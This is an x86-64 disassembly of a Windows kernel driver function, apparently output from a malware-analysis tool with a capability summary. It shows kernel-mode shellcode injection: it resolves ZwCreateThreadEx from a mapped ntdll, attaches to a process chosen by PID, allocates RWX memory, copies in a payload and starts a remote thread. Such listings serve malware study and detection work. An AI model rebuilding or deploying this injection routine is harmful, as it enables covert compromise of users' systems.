Function at 0x140003360
Capabilities:
Allocate or change rwx memory
Allocate user process rwx memory
Attach user process memory
Execute shellcode via indirect call
Find process by pid
Free user process memory
Map section object
Print debug messages
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
mov rsi, r8
mov r12, rdx
mov rax, rcx
xor dil, dil
xor r13d, r13d
mov qword [r11 - 0x138], r13
mov qword [r11 - 0xa8], r13
xor ecx, ecx
mov qword [r11 - 0xa0], rcx
mov qword [r11 - 0x98], rcx
mov qword [r11 - 0x90], rcx
mov qword [r11 - 0x88], rcx
mov qword [r11 - 0x80], rcx
mov qword [r11 + 0x20], r13
cmp byte [0x14000d528], cl
jne 0x1400036d7
mov byte [0x14000d528], 1
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov dword [r11 - 0x100], r13d
xor eax, eax
mov qword [r11 - 0xf8], rax
mov qword [r11 - 0xf0], rax
mov qword [r11 - 0xe8], rax
mov qword [r11 - 0xe0], rax
mov qword [r11 - 0xd8], rax
mov qword [r11 - 0x128], r13
mov qword [r11 - 0xd0], r13
mov dword [r11 - 0xc0], r13d
mov dword [rsp + 0xfc], eax
mov qword [r11 - 0xb8], rax
lea rdx, str.SystemRootSystem32_ntdll.dll
lea rcx, [r11 - 0x48]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [rsp + 0xb8], 0x30
mov qword [rsp + 0xc0], r13
mov dword [rsp + 0xd0], 0x240
lea rax, [rsp + 0x170]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], r13
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0xf8]
lea r8, [rsp + 0xb8]
mov edx, 0x100020
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
js 0x140003545
mov qword [rsp + 0xc8], r13
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 0x10
xor r9d, r9d
lea r8, [rsp + 0xb8]
mov edx, 0xf001f
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_ZwCreateSection]
test eax, eax
js 0x140003545
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0x100000
mov dword [rsp + 0x38], 1
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rsp + 0x90]
or rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000355a
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov qword [rsp + 0x70], r13
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000356f
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov qword [rsp + 0x78], r13
mov rdi, qword [rsp + 0x90]
test rdi, rdi
je 0x1400036cc
mov dword [rsp + 0x68], r13d
mov qword [rsp + 0x108], r13
mov word [rsp + 0x98], r13w
xor eax, eax
mov qword [rsp + 0x9a], rax
mov dword [rsp + 0xa2], eax
mov word [rsp + 0xa6], ax
mov word [rsp + 0xa8], r13w
mov qword [rsp + 0xaa], rax
mov dword [rsp + 0xb2], eax
mov word [rsp + 0xb6], ax
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
add r12, rdi
mov r13d, dword [r12 + 0x1c]
add r13, rdi
mov r15d, dword [r12 + 0x20]
add r15, rdi
mov r14d, dword [r12 + 0x24]
add r14, rdi
lea rdx, str.ZwCreateThreadEx
lea rcx, [rsp + 0x98]
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
xor ebx, ebx
mov dword [rsp + 0x68], ebx
cmp ebx, dword [r12 + 0x18]
jae 0x14000366c
mov edx, dword [r15 + rbx*4]
add rdx, rdi
lea rcx, [rsp + 0xa8]
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
mov r8b, 1
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x98]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
jne 0x140003664
movsx rax, word [r14 + rbx*2]
mov qword [rsp + 0x108], rax
mov eax, eax
mov ecx, dword [r13 + rax*4]
mov ebx, dword [rcx + rdi + 4]
jmp 0x14000366f
inc ebx
mov dword [rsp + 0x68], ebx
jmp 0x140003611
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x1400036ac
xor ecx, ecx
call fcn.1400032a0
cmp ebx, dword [rax + 0x10]
jb 0x140003684
xor eax, eax
jmp 0x1400036a5
mov rdx, qword [rax]
mov eax, ebx
mov ecx, dword [rdx + rax*4]
bt ecx, 0x1f
jae 0x14000369d
shr ecx, 4
or ecx, 0xf0000000
jmp 0x1400036a0
shr ecx, 4
mov eax, ecx
add rax, rdx
mov qword [0x14000d530], rax
xor dil, dil
mov rsi, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1c0]
mov r12, qword [rsp + 0x1c8]
xor r13d, r13d
jmp 0x1400036d7
xor dil, dil
mov rax, qword [rsp + 0x1c0]
cmp qword [0x14000d530], 0
jne 0x1400036ef
mov ebx, 0xc0000001
mov dword [rsp + 0x64], ebx
jmp 0x140003846
lea rdx, [rsp + 0x80]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
mov dword [rsp + 0x64], eax
test eax, eax
jns 0x14000371d
mov edx, eax
lea rcx, str.PsLookupProcessByProcessId_Failed__Status:_p_n
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140003846
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x80]
call sub.ntoskrnl.exe_KeStackAttachProcess
mov dil, 1
mov byte [rsp + 0x60], dil
mov qword [rsp + 0x88], rsi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, [rsp + 0x1d8]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
mov dword [rsp + 0x64], eax
test eax, eax
jns 0x14000378c
mov edx, eax
lea rcx, str.ZwAllocateVirtualMemory_Failed__Status:_p_n
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140003846
mov r8, rsi
mov rdx, r12
mov rcx, qword [rsp + 0x1d8]
call fcn.14000a930
mov dword [rsp + 0x140], 0x30
mov qword [rsp + 0x148], r13
mov dword [rsp + 0x158], 0x200
mov qword [rsp + 0x150], r13
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
or r9, 0xffffffffffffffff
lea r8, [rsp + 0x140]
mov edx, 0x1fffff
lea rcx, [rsp + 0xf0]
call qword [0x14000d530]
test eax, eax
jns 0x14000383f
mov edx, eax
lea rcx, str.Create_Remote_Thread_Status:_p_n
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov ebx, r13d
mov dword [rsp + 0x64], ebx
test ebx, ebx
jns 0x14000387d
cmp qword [rsp + 0x1d8], 0
je 0x14000387d
mov r9d, 0x8000
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x1d8]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
mov qword [rsp + 0x1d8], r13
test dil, dil
je 0x14000389a
lea rcx, [rsp + 0x110]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
nop
jmp 0x14000389a
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x1400038ad
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
jmp 0x1400038b6
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret